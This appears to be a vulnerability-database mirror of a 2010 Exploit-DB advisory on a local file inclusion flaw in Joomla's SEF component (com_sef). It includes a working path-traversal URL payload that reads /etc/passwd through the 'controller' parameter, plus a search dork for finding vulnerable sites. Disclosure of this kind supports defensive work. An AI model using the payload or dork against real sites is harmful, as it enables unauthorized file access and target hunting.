Joomla Component SEF (com_sef) - LFI Vulnerability

vendor:

Joomla

by:

_mlk_

7,5

CVSS

HIGH

Local File Inclusion Vulnerability

CWE

Product Name: Joomla

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE: None

CPE: a:joomla:joomla

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: all OS

2010

Joomla Component SEF (com_sef) – LFI Vulnerability

Joomla Component SEF (com_sef) is vulnerable to Local File Inclusion (LFI) vulnerability. The vulnerable parameters are 'view' and 'controller'. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. The malicious request can be in the form of 'http://<server>/index.php?option=com_sef&controller=../../../../../../../../../../../../../../../etc/passwd%00'

Mitigation:

The mitigation for this vulnerability is to ensure that the application is not vulnerable to directory traversal attacks. The application should validate user input and should not allow any malicious input.

Source

Exploit-DB raw data:

# Exploit Title: Joomla Component SEF (com_sef) - LFI Vulnerability
# Date: 04, July 2010

# Author:  _mlk_
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_sef.zip
# Version: 0

# Tested on: all OS

# CVE : 0

# Code : here

Joomla Component SEF (com_sef) - Local File Inclusion Vulnerability

#########################################################################################


   [+] Discovered by : _mlk_ (Renan)

   [+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs

   [+] Homepages :  http://code.google.com/p/bugsec/
                    http://botecounix.com.br/blog/
                    http://c0d3rs.wordpress.com/

   [+] Location : Porto Alegre - RS, Brasil
                         (or Brazil)

#########################################################################################


      [-] Information

   [?] Script : SEF (Search Engine Friendly)

   [?] Home Script : http://www.joomla.com/

   [?] Dork/String :  "index.php?option=com_sef" / "com_sef"

   [?] Date :  04, July 2010


-----------------------------------------------------------------------------------------


      [*] Parameters vuls :

         view
         controller


-----------------------------------------------------------------------------------------


      [*] Example :

         http://localhost/index.php?option=com_sef&controller=[LFI]%00
         http://localhost/[PATH]/index.php?option=com_sef&controller=[LFI]%00


-----------------------------------------------------------------------------------------


      [*] Demo :

         http://<server>/index.php?option=com_sef&controller=
         ../../../../../../../../../../../../../../../etc/passwd%00


#########################################################################################


    [~] Agradecimentos :

        Deus , Familiares , Amigos e Tricolor Gaúcho (Grémio) .
        Em especial "m0nad" ( capitao caverna \o/ ) .


#########################################################################################